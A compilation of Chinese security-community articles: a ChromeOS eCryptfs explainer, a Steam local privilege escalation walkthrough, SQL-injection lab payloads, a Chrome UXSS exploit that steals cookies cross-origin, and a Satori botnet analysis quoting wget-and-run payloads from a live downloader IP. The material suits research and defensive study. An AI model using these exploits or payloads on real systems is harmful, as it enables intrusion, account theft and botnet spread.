**EVKK** ：Ecrypted vault keyset key，保存在master.0中的”tpm_key”字段
**IEVKK** ：Intermediate vault keyset key，解密过程生成的中间文件，属于EVKK的解密后产物，也是RSA解密的输入密文
**TPM_CHK** : TPM-wrapped system-wide Cryptohome
key，保存在/home/.shadow/cryptohome.key，TPM init时加载到TPM
**VKK** ：Vault keyset key
**VK** ：Vault Keyset，包含FEK和FNEK
**EVK** ：Encrypted vault keyset，保存在master.0里”wrapped_keyset”字段
图十二中的UP（由发起mount的D-Bus请求中通过key参数传入）做为一个AES
key用于解密EVKK，解密后得到的IEVKK；然后将IEVKK做为RSA的密文送入TPM，使用TPM_CHK做为密钥进行解密，解密后得到VKK；最后生成的VKK是一个AES
key，用于解密master.0里的EVK，得到包含有FEK和FNEK明文的VK。经过三层解密，终于拿到关键的FEK，那么问题来了，Chromeos的FEK的保存及解密流程与上文介绍的eCryptfs时不一致，FEK不应该是open时从加密文件的头部metadata里的EFEK中解密出来的么？不过一次解密出FEK，全局使用，效率的确比每次读取文件时解析FEK高很多，之后通过key的系统调用将key传入内核的keyring，使用时通过key
sign匹配。最后跟上文所述实属异曲同工。
4\. 通过mount系统调用传入option完成挂载。该部分与正常的Linux做法一致，在mount的option里传入关键的cipher、key
sign、key bytes等信息。
图十二 TPM解密VK的流程
****
**结语**
ecryptfs建立在系统安全可信的基础上，保护用户数据的安全，核心基础组件是加密密钥，若在内核被攻破后密钥被通过某些手段窃取，ecryptfs的安全性将同样被攻破。另外page
cache中加密文件的明文页有可能被交换到swap区，在chromeos中已经禁用了swap，因此不会产生影响，但是其他版本的Linux系统需要注意该问题。
eCryptfs首次实现到现在已经十年有余，直到近几年才在chromeos和Ubuntu上使用，个人认为除了之前人们的安全意识不如现在强烈外，更重要的是随着处理器性能的增强，eCryptfs加解密引起的文件读写性能下降的问题已经得到缓解。但实际的性能损耗如何，有待继续研究。或许出于性能的原因，年初的时候Google在chromeos实现了基于ext4
crypto的
dircrypto，用于实现跟eCryptfs同样的功能，目前chromeos同时支持eCryptfs和dircrypto，但在60版本后优先采用dircrypto技术，相关技术在另外的文章中进行介绍。
最后，文中必有未及细看而自以为是的东西，望大家能够去伪存真，更求不吝赐教。
****
**参考资料**
[企业级加密文件系统 eCryptfs 详解](https://www.ibm.com/developerworks/cn/linux/l-cn-ecryptfs/)
[eCryptfs: a Stacked Cryptographic
Filesystem](http://www.linuxjournal.com/article/9400)
[Linux kernel-V4.4.79
sourcecode](https://chromium.googlesource.com/chromiumos/third_party/kernel/+/v4.4.79)
[chromiumos platform-9653
sourcecode](https://chromium.googlesource.com/chromiumos/) | 社区文章 |
# Steam Windows客户端本地提权漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 amonitoring，文章来源：amonitoring.ru
原文地址：<https://amonitoring.ru/article/onemore_steam_eop_0day/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
不久之前，我刚发表过关于Steam漏洞的一篇研究[文章](https://amonitoring.ru/article/steamclient-0day/)。我收到了许多反馈，但Valve并没有发表任何看法，HackerOne给我发了一封内容颇多的信，但后面也没有任何进展。最终这个事件升级，Valve拒绝在HackerOne上接收我的报告，我无法再继续参与他们的漏洞拒绝计划（但H1剩余部分仍然可以参与）。
大家可以阅读之前的文章了解详细信息。
Valve新推出一个补丁想解决这个问题，然而该补丁可以轻松被[绕过](https://twitter.com/general_nfs/status/1162067274443833344)，因此这个漏洞依然存在。
然而本文并不想讨论之前的老漏洞，会介绍一个全新的漏洞。由于Valve更喜欢看到直接公开的漏洞报告，而不是通过私下的沟通渠道解决问题，因此我决定满足他们的愿望。
## 0x01 简要描述
漏洞利用非常简单，主要包括3个步骤：
1、准备利用环境；
2、让Steam复制并运行我们自己的DLL；
3、DLL必须满足某些条件。
系统上任何用户（或者更明确地说，是主机上任何程序）都可以执行以上步骤，利用该漏洞最终可以以最高权限执行任意代码，因此该漏洞属于权限提升（EOP）或者本地提权（LPE）漏洞。尽管应用程序本身可能可能有潜在风险，但提升至最高权限后可以造成更严重后果，比如可以禁用防火墙及杀毒软件、安装rootkit、隐藏挖矿进程、窃取用户隐私数据等。
## 0x02 背景知识
上一篇文章的评论有些非常有趣，有人提到“用户不能往HKLM注册表中写入数据”或者“我们需要管理员权限才能创建符号链接”。想要核实这些言论其实很简单，大家也能猜到，这些结论都不正确。这里我想稍微提一下这方面内容，顺便介绍漏洞利用过程中稍微困难的几个点。
1）“用户不能往HKLM注册表中写入数据”。
实际上并没有这种规则，特定注册表项可以对应特定的安全规则。Valve向所有用户开放了`HKLM\SOFTWARE\Wow6432Node\Valve\steam`的完整控制权限，因此任意用户都可以随意操纵该表项。
2）“如果不具备管理员权限就不能开始或停止服务”。
也没有这种规则，特定服务可以对应特定的安全规则。Valve向任意用户开放了Steam Client Service的开始或停止权限。
3）“我们需要管理员权限才能创建符号链接”。
这个表述本身就比较有趣。在Windows系统中总共有5种常见的链接，但只有一半需要管理员权限。这5种链接分别为：文件符号链接、对象目录符号链接、硬链接、NTFS重解析点以及`reg_link`。只有在创建文件符号链接以及永久对象目录符号链接时才需要管理员权限（临时对象目录符号链接的生存周期与会话保持一致，在大多数情况下，一旦创建成功可以维持到重启之前，并且不需要特殊权限）。
4）“从目录到目录的符号链接”。
实际上这是NTFS重解析点（reparse point）或者是NTF挂载点（mount
point）。名字本身并不关键，我们可以利用重解析点将一个目录作为另一个目录的链接。如果用户具备写入权限，就可以通过空目录创建这种链接。我们可以使用[symboliclink
testing tools](https://github.com/googleprojectzero/symboliclink-testing-tools/)中的`CreateMountPoint.exe`来创建该链接。
5）OpLock
[OpLock](https://docs.microsoft.com/ru-ru/windows/win32/fileio/opportunistic-locks)（或者Opportunistic
Lock，机会锁）是一种特殊机制，可以用来临时阻止对特定文件的访问。大家可以参考官网了解关于OpLock的更多细节，比如在文件处理以及不同访问类型时的功能等。简而言之，程序可以通过该功能“捕捉到”访问某个文件的事件，然后临时阻止该操作。我们可以使用[symboliclink
testing tools](https://github.com/googleprojectzero/symboliclink-testing-tools/)工具包中的`SetOpLock.exe`工具来设置OpLocks。设置所需的OpLock后，当访问被锁定的文件时，该工具就会打印一条消息，如果我们按下回车键，就可以释放OpLock。
6）BaitAndSwitch
这是一种技术手法，将链接创建以及OpLock结合起来，以赢得TOCTOU（time of check/time of
use）竞争条件。这里我们举个例子来描述这种技术：
设想某个程序会执行如下操作：
ReadContentFromFile(“C:\test\myfile.txt”);
ReadContentFromFile(“C:\test\myfile.txt”);
程序只是简单地连续两次读取同一个文件，那么这样是不是总是会读取到相同的内容？答案是并不一定。
首先，我们创建两个目录，其中分别包含`C:\test1\myfile.txt`以及`C:\test2\myfile.txt`。接下来，我们清空`C:\test`目录，然后创建目标为`C:\test1`的一个重解析点。然后我们在第一个目录的文件上设置OpLock并运行程序。一旦程序打开文件，就会触发OpLock。此时我们修改重解析点，将`C:\test`链接至`C:\test2`。现在，当释放OpLock后，第二次读取时该程序就会从另一个文件读取出内容。
这种方法的应用场景在哪？其实很容易想到，比如我们可以让目标检查第一个文件（第一次读取）然后执行第二个文件（第二次读取）。这样我们就实现一个文件用来检查，另一个文件用来执行的应用场景。
以上就是我们在漏洞利用中所涉及到的一些背景知识。
## 0x03 漏洞利用
### 环境准备
环境准备非常重要。首先，我们需要准备好`CreateMountPoint.exe`以及`SetOpLock.exe`这两个工具。
现在需要稍微改变一下Steam的文件结构。我们的目标是修改目录，使得其中包含`Steam.exe`以及`steamclient.dll`，不包含`bin`目录。我们可以通过两种方法完成该任务：
**方法1**
在Steam根目录中重命名/移动`bin`目录，就这么简单（Steam为所有账户都开放了该目录权限）。
**方法2**
在`HKLM\SOFTWARE\Wow6432Node\Valve\steam`注册表项中，将`InstallPath`的值修改为我们的目录路径，然后从原始的Steam目录中将`Steam.exe`以及`steamclient.dll`拷贝到该目录中。
我们通过任意一种方法构造出`C:\Steam`目录（这里可以选择任意路径）。现在我们需要在其中创建`b1`、`b2`、`b3`以及`b4`目录。我们将`steamservice.dll`拷贝到前3个目录（该dll位于Steam安装目录的`bin`目录中），然后使用相同名称构造出一个dll（`steamservice.dll`），拷贝到`b4`目录中。DLL的构造方法可以参考下文。
启动两个Windows控制台，现在我们的利用环境已准备就绪。
### 交换文件
根据前面的环境准备要点，大家应该能猜到我们准备使用前文提到的BaitAndSwitch技术。
ProcMon的输出结果如下所示：
当Steam Client
Service启动时，我们通常可以在ProcMon中看到上图所示日志。这里简单描述一下，首先目标服务会将dll拷贝到`C:\Program Files
(x86)\Common
Files\Steam`目录中，然后加载该dll。我们可以让Steam从`C:\Steam\b4`拷贝我们的dll，不幸的是，Steam首先会执行检查操作，判断程序库的是特征否正常，避免dll劫持攻击。
这里我准备逐个步骤描述漏洞利用过程，相同操作的步骤会归在一个组中。在每个步骤中，我们要注意需要执行的程序、执行的位置以及执行后的结果（前面启动的两个Windows控制台分别为“cmd1”以及“cmd2”）.
具体步骤如下：
1）创建`C:\Steam\bin`目录，在cmd1中执行如下命令：
CreateMountPoint.exe С:\Steam\bin C:\Steam\b1
2）在cmd1中设置OpLock：
SetOpLock.exe C:\Steam\b1\steamservice.dll
3）运行Steam Client Service。在cmd1中，可以看到我们捕捉到了对目标文件的访问。
4）删除`C:\Steam\bin`，在原位置创建`C:\Steam\bin`目录，然后在cmd2中执行如下命令：
CreateMountPoint.exe С:\Steam\bin C:\Steam\b2
5）在cmd2中设置OpLock：
SetOpLock.exe C:\Steam\b2\steamservice.dll
6）在cmd1中释放OpLock。在cmd2中我们可以捕捉到对该文件的访问。
7）删除`C:\Steam\bin`，在原位置创建`C:\Steam\bin`，在cmd1中执行如下命令：
CreateMountPoint.exe С:\Steam\bin C:\Steam\b3
8）在cmd1中设置OpLock：
SetOpLock.exe C:\Steam\b3\steamservice.dll
9）在cmd2中释放OpLock。可以在cmd1中捕捉到对该文件的访问。
10）删除`C:\Steam\bin`，在原位置创建`C:\Steam\bin`，然后在cmd2中执行如下命令：
CreateMountPoint.exe С:\Steam\bin C:\Steam\b2
11）在cmd2中设置OpLock：
SetOpLock.exe C:\Steam\b2\steamservice.dll
12）在cmd1中释放OpLock。可以在cmd2中捕捉到对该文件的访问。
13）删除`C:\Steam\bin`，在原位置创建`C:\Steam\bin`，然后在cmd1中执行如下命令：
CreateMountPoint.exe С:\Steam\bin C:\Steam\b3
14）在cmd1中设置OpLock：
SetOpLock.exe C:\Steam\b3\steamservice.dll
15）在cmd2中释放OpLock。在cmd1中可以捕获到对该文件的访问。
16）删除`C:\Steam\bin`，在原位置创建`C:\Steam\bin`，然后在cmd2中执行如下命令：
CreateMountPoint.exe С:\Steam\bin C:\Steam\b4
17）在cmd1中释放OpLock。
虽然整个过程看起来比较复杂，但核心思想其实很简单：我们要将目标服务对`C:\Steam\bin\steamservice.dll`的前5次访问（总共6次）重定向到不同的目录中（访问顺序分别为：`b1`、`b2`、`b3`、`b2`、`b3`），在第6次访问时重定向到我们自己的payload。
流程图如下所示：
上图中左图是应用程序正常的访问行为，右图是漏洞利用过程中被我们改造过的行为。
### 构造payload
在payload构造中，我首先尝试最常用的dll，在`DllEntry`中创建一个交互式控制台。由于dll代码会在Steam Client
Service上下文中执行，因此能够拿到服务对应的权限，即`NT AUTHORITY\SYSTEM`。然后执行完利用步骤后，我并没有看到想要的控制台。
在dll加载后，Steam服务会发现程序流程存在异常，因此会在执行dll中的payload前关闭服务。
这里我只能稍微逆向分析一波，发现目标服务会在加载dll后，检查dll中是否存在如下函数：
int WINAPI SteamService_RunMainLoop()
void WINAPI SteamService_Stop()
此外，目标服务还会调用第一个函数，因此我决定将payload放在这个函数中（这样就能以`NT
AUTHORITY\SYSTEM`权限运行交互式控制台）。就这么简单，准备就绪后我就可以重复利用步骤，拿到最高权限的控制台。
## 0x04 总结
其实这些利用过程都可以封装在一个exe中，但我懒得去处理了，大家可以自己尝试一下。大家可以观看[此处视频](https://www.youtube.com/watch?v=ZCHrjP0cMew)了解通过注册表的利用方式，观看[此处视频](https://www.youtube.com/watch?v=I93aH86BUaE)了解通过文件系统的利用方式。
Valve在Beta版客户端中[修复](https://steamcommunity.com/groups/SteamClientBeta#announcements/detail/1599262071399843693)了这个漏洞，当正式版客户端安装更新后，我也会检查漏洞是否修复。
此外，Valve在[HackerOne](https://hackerone.com/valve/policy_versions)上修改了关于LPE的策略，这也是非常不错的一个消息。 | 社区文章 |
# 5.Challenges
## **Less-54**
如果没有点提交按钮将会进入下面的else语句，有过滤，显然突破口在上面。如果点了提交将会setcookie，然后看到有个GET提交的id参数，然后有个更新数据库操作，这里限制了10次请求次数，否则更新数据库。
?id=-1%27%20union%20select%201,2,database() --+ //查库
?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--+
//查表
?id=-1' union select 1,group_concat(column_name),3 from
information_schema.columns where table_name='2P0C18GOWL' %23 //查列
?id=-1' union select 1,group_concat(tryy),3 from 2P0C18GOWL%23 //查数据
## **Less-55**
这个题限制了请求14次，不过当测试出闭合情况之后后面就一切顺利了。 先尝试闭合
?id=1'%23 //错误 ?id=1')%23 //错误 ?id=1)%23 //正确
尝试之后发现是用)闭合
?id=-1) union select 1,database(),3%23
## **Less-56**
这几关都差不多，首先也是尝试闭合
?id=1')%23 //成功闭合
?id=-1') union select 1,database(),3%23
## **Less-57**
这关是双引号闭合的
?id=-1" union select 1,database(),3%23
## **Less-58**
查询之后并没有返回查询数据库当中的数据，不能使用union联合注入，但是有报错回显，可以使用报错注入。
?id=0' and extractvalue(1, concat(0x5c, (select database())))%23
## **Less-59**
SQL语句：
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
?id=1 and extractvalue(1, concat(0x5c, (select database())))%23
## **Less-60**
?id=1") and extractvalue(1, concat(0x5c, (select database())))%23
## **Less-61**
?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23
## **Less-62**
接下来几关要在130次内完成盲注。只不过有次数限制，很明显不能去爆破
?id=1') and (length(database())=10)%23
?id=1') and ((ascii(mid((select table_name from information_schema.tables
where table_schema='challenges' limit 0,1),1,1)))<65)-- #
## **Less-63**
这关跟上一关一样，唯一的区别在于需要使用单引号闭合
?id=1' and (length(database())=10)%23
?id=1' and ((ascii(mid((select table_name from information_schema.tables where
table_schema='challenges' limit 0,1),1,1)))>65)-- #
不再赘述！
## **Less-64**
这关跟上一关一样，唯一的区别在于需要使用括号闭合
?id=1)) and (length(database())=10)%23
?id=1)) and ((ascii(mid((select table_name from information_schema.tables
where table_schema='challenges' limit 0,1),1,1)))>65)-- #
不再赘述！
## **Less-65**
?id=1") and (length(database())=10)%23
?id=1") and ((ascii(mid((select table_name from information_schema.tables
where table_schema='challenges' limit 0,1),1,1)))<65)-- #
这几关性质都一样，只不过闭合语句不同，不再赘述
SQL语句：
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 0x00 前言
本文的写作来源于前几天一个小伙伴发过来一个漏洞链接让笔者帮忙解释一下漏洞原理，为了便于小伙伴的理解且留作笔记供日后查阅遂写此文。
本文讨论的漏洞已早已修复，但作为漏洞研究还是很有价值的。此漏洞由研究人员Marius
Mlynski发现并于2015年12月14日报告的一个Chrome不当地使用Flash消息循环而产生的UXSS漏洞（CVE-2016-1631）。
# 0x01 分析
漏洞影响：
Chrome 47.0.2526.80 (Stable)
Chrome 48.0.2564.41 (Beta)
Chrome 49.0.2587.3 (Dev)
Chromium 49.0.2591.0 + Pepper Flash
原漏洞报告如下：
From /content/renderer/pepper/ppb_flash_message_loop_impl.cc:
---------------- int32_t PPB_Flash_MessageLoop_Impl::InternalRun(
const RunFromHostProxyCallback& callback) {
(...)
// It is possible that the PPB_Flash_MessageLoop_Impl object has been
// destroyed when the nested message loop exits.
scoped_refptr<State> state_protector(state_);
{
base::MessageLoop::ScopedNestableTaskAllower allow(
base::MessageLoop::current());
base::MessageLoop::current()->Run();
}
(...)
}
----------------
报告者解释说：PPB_Flash_MessageLoop_Impl::InternalRun在运行一个嵌套消息循环之前没有初始化ScopedPageLoadDeferrer，从而导致能够在任意Javascrpit的执行点加载一个跨域文档造成了XSS。
接下来，我们来看看报告者提供的[POC](https://bugs.chromium.org/p/chromium/issues/attachment?aid=218674)，主要有三个文件：
* p.as： 一个ActionScript脚本文件
* p.swf： 一个swf格式的Flash文件
* poc.html： 具体的poc代码
p.as:
package {
import flash.display.*;
import flash.external.*;
import flash.printing.*;
public class p extends Sprite {
public function f():void {
new PrintJob().start();
}
public function p():void {
ExternalInterface.addCallback('f', f);
ExternalInterface.call('top.cp');
}
}
}
poc.html:
<script>
if (location.href.startsWith('file')) {
throw alert('This does not work from file:, please put it on an HTTP server.')
}
var c0 = 0;
function cp() {
++c0;
}
var fs = [];
for (var a = 0; a < 10; a++) {
var i = document.documentElement.appendChild(document.createElement('iframe'));
i.src = 'p.swf';
fs.push(i);
}
// This function will call into Flash, which will start a PrintJob,
// which will send a PPB_Flash_MessageLoop message to the renderer,
// which will spin a nested event loop on the main thread through
// PPB_Flash_MessageLoop_Impl::InternalRun, which doesn't set up a
// ScopedPageLoadDeferrer.
function message_loop() {
var pw = fs.pop().contentWindow;
pw.name = 'p' + fs.length;
// The magic happens here:
pw.document.querySelector('embed').f();
// Clean-up phase -- now that the print operation has served its
// purpose of spinning a nested event loop, kill the print dialog
// in case it's necessary to spin the loop again.
var a = document.createElement('a');
a.href = 'about:blank';
a.target = 'p' + fs.length;
a.click();
if (fs.length < 6) {
var then = Date.now();
while (Date.now() - then < 1000) {}
}
}
function f() {
if (c0 == 10) {
clearInterval(t);
// The initial location of this iframe is about:blank.
// It shouldn't change before the end of this function
// unless a nested event loop is spun without a
// ScopedPageLoadDeferrer on the stack.
// |alert|, |print|, etc. won't work, as they use a
// ScopedPageLoadDeferrer to defer loads during the loop.
var i = document.documentElement.appendChild(document.createElement('iframe'));
// Let's schedule an asynchronous load of a cross-origin document.
i.contentWindow.location.href = 'data:text/html,';
// Now let's try spinning the Flash message loop.
// If the load succeeds, |i.contentDocument| will throw.
try {
while (i.contentDocument) { message_loop(); }
} catch(e) {}
// Check the final outcome of the shenanigans.
try {
if (i.contentWindow.location.href === 'about:blank') {
alert('Nothing unexpected happened, good.');
}
} catch(e) {
alert('The frame is cross-origin already, this is bad.');
}
}
}
var t = setInterval(f, 100);
</script>
POC的原理就是在页面中创建多个源为Flash文件的iframe，然后调用as脚本开启打印工作任务，此时Chrome将通过PPB_Flash_MessageLoop_Impl::InternalRun方法在主线程中运行一个嵌套的MessageLoop消息循环来发送PPB_Flash_MessageLoop消息给渲染器，由于PPB_Flash_MessageLoop_Impl::InternalRun方法没有在栈上设置ScopedPageLoadDeferrer来推迟加载从而导致嵌套的MessageLoop在循环时能够回调脚本并加载任意资源造成了UXSS漏洞。
那么，如何来理解这个漏洞呢？
在Chrome中，我们知道，每个线程都有一个MessageLoop（消息循环）实例。报告中的PPB_Flash_MessageLoop_Impl实际上就是Chrome处理Flash事件的消息循环的实现。当浏览器接收到要打印Flash文件的消息时，会开启一个MessageLoop来处理打印事件，而此时如果在运行的嵌套的消息循环里没有终止脚本的回调以及资源加载的方法的话，就可以通过脚本回调代码绕过SOP加载任意资源，也就造成了XSS漏洞。
从下面是源代码作者做的修复可以更好的了解漏洞的产生原因。
不难发现，源码作者实际上仅做了以下更改：
\1. 添加了#include “third_party/WebKit/public/web/WebView.h”；
\2.
在执行base::MessageLoop::current()->Run();之前添加了blink::WebView::willEnterModalLoop();
\3.
在执行base::MessageLoop::current()->Run();之后添加了blink::WebView::didExitModalLoop();
找到third_party/WebKit/public/web/WebView.h文件，我们在当中找到了步骤2和3的方法如下：
third_party/WebKit/public/web/WebView.h：
----------------------- // Modal dialog support ------------------------------------------------ // Call these methods before and after running a nested, modal event loop
// to suspend script callbacks and resource loads.
BLINK_EXPORT static void willEnterModalLoop();
BLINK_EXPORT static void didExitModalLoop();
（...）
-----------------------
显然,
修复漏洞的方法就是在执行一个嵌套的模态事件循坏前后调用这2个方法来防止脚本的回调以及资源的加载，从而阻止了因为脚本回调而绕过SOP的XSS漏洞的产生。
# 0x02 利用
首先，下载[exploit](https://bugs.chromium.org/p/chromium/issues/attachment?aid=190008)并部署到你的web服务器上。
解压后，文档目录如下：
├── exploit
│ ├── exploit.html
│ ├── f.html
│ ├── p.as
│ └── p.swf
打开exploit.html修改如下：
<script>
var c0 = 0;
var c1 = 0;
var fs = [];
function cp() {
++c0;
}
for (var a = 0; a < 10; a++) {
var i = document.documentElement.appendChild(document.createElement('iframe'));
i.src = 'p.swf';
fs.push(i);
}
function ml() {
var pw = fs.pop().contentWindow;
pw.name = 'p' + fs.length;
pw.document.querySelector('embed').f();
var a = document.createElement('a');
a.href = 'about:blank';
a.target = 'p' + fs.length;
a.click();
if (fs.length < 6) {
var then = Date.now();
while (Date.now() - then < 1000) {}
}
}
function f() {
if (++c1 == 2) {
var x1 = x.contentWindow[0].frameElement.nextSibling;
x1.src = 'http://avfisher.win/'; //此处可修改成目标浏览器上打开的任意的站点
try {
while (x1.contentDocument) { ml(); }
} catch(e) {
x1.src = 'javascript:if(location!="about:blank")alert(document.cookie)'; //此处为在目标站点上想要执行的js代码
}
}
}
function c() {
if (c0 == 10) {
clearInterval(t);
x = document.documentElement.appendChild(document.createElement('iframe'));
x.src = 'f.html';
}
}
var t = setInterval(c, 100);
</script>
利用效果如下：
# 0x03 参考
<https://bugs.chromium.org/p/chromium/issues/detail?id=569496>
[https://codereview.chromium.org/1559113002/diff/40001/content/renderer/pepper/ppb_flash_message_loop_impl.cc?context=10&column_width=80&tab_spaces=8](https://codereview.chromium.org/1559113002/diff/40001/content/renderer/pepper/ppb_flash_message_loop_impl.cc?context=10&column_width=80&tab_spaces=8)
<https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/third_party/WebKit/public/web/WebView.h>
<https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/base/message_loop/message_loop.h#581>
<http://blog.csdn.net/zero_lee/article/details/7905121>
<http://www.360doc.com/content/13/0422/16/168576_280145531.shtml> | 社区文章 |
# 僵尸永远不死，Satori也拒绝凋零
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2018-06-14，我们注意到 Satori 的作者开始扫描收集 uc-httpd 1.0.0 设备的IP地址列表。这或许是为了针对4月公开的脆弱性
XiongMai uc-httpd 1.0.0 ([CVE-2018-10088](https://www.exploit-db.com/exploits/44864/)) 在做准备。这些扫描活动导致了近期在 80 和 8000 端口上的扫描流量大涨。
3小时前，就在我们撰写本篇文章的同时，Satori 作者又发布了一个更新版本。这个更新是个蠕虫，针对 D-Link DSL-2750B
设备，对应的漏洞利用在5月25日刚刚 [公开](https://www.exploit-db.com/exploits/44760/) 。
## 僵尸永远不死
Satori 是 Mirai 僵尸网络的一个变种，我们首次注意到该僵尸网络是
2017-11-22。一周之后，2017-12-05，Satori在12小时内感染了超过26万家用路由器设备，成为臭名昭著的僵尸网络。从那以后我们不再使用“一个mirai僵尸网络变种”称呼它，而是给予了它一个独立的名字
Satori。以上这些记录在我们的 [报告](https://blog.netlab.360.com/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/) 和
[报告](https://blog.netlab.360.com/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/) 中。
在那之后，安全社区采取了联合行动。多家运营商在 Satori 的重点攻击端口 37215 上采取了对抗措施。从事后看，这些措施有效抑制了 Satori
的扩张速度。但仅仅安全社区的这些披露和联合行动似乎并不能阻止 Satori 作者的更新。
2018-01-08，我们检测到 Satori 的后继变种Satori.Coin.Robber
尝试在端口37215和52869上重新建立整个僵尸网络。值得注意的是，新变种开始渗透互联网上现存Claymore Miner挖矿设备，通过攻击其3333
管理端口，替换钱包地址，并最终攫取受害挖矿设备的算力和对应的 ETH 代币。这是我们第一次见到僵尸网络替换其他挖矿设备的钱包。我们在另一份
[报告](https://blog.netlab.360.com/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/) 中批露了 Satori 的这些活动。
2018-05-10，GPON 漏洞（CVE-2018-10561，CVE-2018-10562）公布以后不到 10 天，Satori 也加入抢夺 GPON
易感设备的行列。并且Satori在短短时间内就挤掉了其它竞争对手，成为 “GPON僵尸Party” 中投放能力最强的一个。这已经是我们关于Satori
的第四份 [报告](https://blog.netlab.360.com/gpon-exploit-in-the-wild-ii-satori-botnet/) 。
现在这篇是我们关于Satori 的第五份报告。僵尸永远不死，而且它们拒绝凋零。Satori的作者选择留在了场上。
## Satori 过去几天里的活动更新
Satori 近期活动的核心样本如下：
hxxp://185.62.190.191/arm.bot.le
该样本是由其它感染设备投入的，利用的漏洞是 GPON（ CVE-2018-10561），投入时的攻击Payload 是：
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;wget+hxxp://185.62.190.191/r+-O+->/tmp/r;sh+/tmp/r&ipv=0
在该样本中：
* 信息收集和上报：扫描互联网，寻找拥有 “uc-httpd 1.0.0” 设备指纹的IP地址，并将收集到的IP地址汇报至 r[.]rippr.cc:48101；
* 控制主机：95.215.62.169:5600 是其上联主机。C2通信协议也与之前版本不同，但本文不做展开；
* DDoS攻击能力：集成四种 DDoS 攻击向量 udp_flood，syn_flood，tcp_ack_flood，gre_flood；
在我们观察的过程中，该分支已经至少发起过两次DDoS攻击，攻击细节如下：
* 2018-06-13 21:09:00 前后：TCP_ACK_FLOOD->(144.217.47.56:25565)
* 2018-06-14 23:00:00 前后：UDP_FLOOD -> (185.71.67.43:53)
这两次攻击分别与我们DDoSMon 上的 [观察1](https://ddosmon.net/explore/144.217.47.56) 和
[观察2](https://ddosmon.net/explore/185.71.67.43) 一致。
## 该样本导致了近期 80和8000 端口上的扫描流量
我们近期在ScanMon上分别观察到 80 和 8000 端口上的扫描流量增长。两次流量增长的开始时间分别是 2018-06-09 和
2018-06-14。
这两个端口上的流量增长，均是 Satori 样本 arm.bot.le 及其更新版本导致的：
* 端口80：扫描流量中的首包为 GET / HTTP/1.0，这与我们在 arm.bot.le 样本中观察到的 payload 一致；
* 端口8000：扫描流量中的首包为 HEAD / HTTP/1.0，这与我们在 arm.bot.le 的更新版本中观察到的payload一致。
## 同源性分析
我们判定当前这些恶意样本与之前的 Satori 是同源的：
* 地址同源：样本下载URL（hxxp://185.62.190.191/arm.bot.le） 中的IP地址 185.62.190.191 ，是新样本的Downloader，这个IP地址也是 Satori 在之前 [GPON 漏洞Party](https://blog.netlab.360.com/gpon-exploit-in-the-wild-ii-satori-botnet/) 中使用的Downloader 地址。
* 代码同源：一段借鉴于 MIRAI 的解密代码在之前 Satori 的 okiru 系列样本中使用过。这段代码在新样本也在延续使用。
上面两图展示的加密代码片段分别来自：
* 本轮的 Satori 样本：F8D1D92E9B74445F2A0D7F1FEB78D639，
* 之前的 Satori Okiru 分支 : 0D39BF8EE7AC89DEC5DD8E541A828E15，
## Satori 在采集 uc-httpd 1.0.0 设备指纹的 IP 地址
Satori 正在通过扫描 80/8000 端口的方式采集拥有“uc-httpd 1.0.0”设备指纹的 IP 地址，相关伪代码见后。
一旦发现匹配的目标，便会将其 IP 汇报至 180.101.204.161:48101。值得说明的是上述地址是动态配置在 r.rippr.cc 域名的
DNS TXT 记录中的。通过这种方式作者可以在服务器端随意修改 C2 的IP地址，避免了样本硬编码。
## Satori 当前的更新
3小时前，2018-06-15 07:00:00，就在编辑们紧张撰写本文的同时，Satori 又做了更新。值得警惕的是，这个更新是个蠕虫：
* 针对漏洞：D-Link DSL-2750B 的命令执行漏洞
* 漏洞利用：在5月25日刚刚 [公开](https://www.exploit-db.com/exploits/44760/)
* 扫描端口：80 和 8080
* 蠕虫式传播：该漏洞利用同时出现在攻击投入的Payload中，以及投入成功后得到的样本中。如此，样本能够传播自身，形成蠕虫式传播
* C2：95.215.62[.]169:5600。该IP地址动态配置在 i.rippr.cc 域名的 DNS TXT 中。
样本来自：
e0278453d814d64365ce22a0c543ecb6 hxxp://185.62.190.191/r
b288d2f404963fbc7ab03fcb51885cc3 hxxp://185.62.190.191/mipsel.bot.le
78191f8f942b8c9b3b6cceb743cefb03 hxxp://185.62.190.191/arm7.bot.le
753cbfec2475be870003a47b00e8e372 hxxp://185.62.190.191/arm.bot.le
0a44d64fdf9aebfedf433fb679b8b289 hxxp://185.62.190.191/mips.bot.be
样本的投入 Payload ：
GET /login.cgi?cli=aa aa';wget hxxp://185.62.190.191/r -O -> /tmp/r;sh /tmp/r'$ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
该攻击 Payload 同时出现在样本中：
## IoC
185.62.190.191 Satori Downloader
180.101.204.161:48101 Satori Report
r.rippr.cc Satori Reporter listed in this host's DNS TXT record
95.215.62.169:5600 Satori C2
i.rippr.cc Satori C2 listed in this host's DNS TXT record
Satori Malware Sample md5
f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm
f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm7
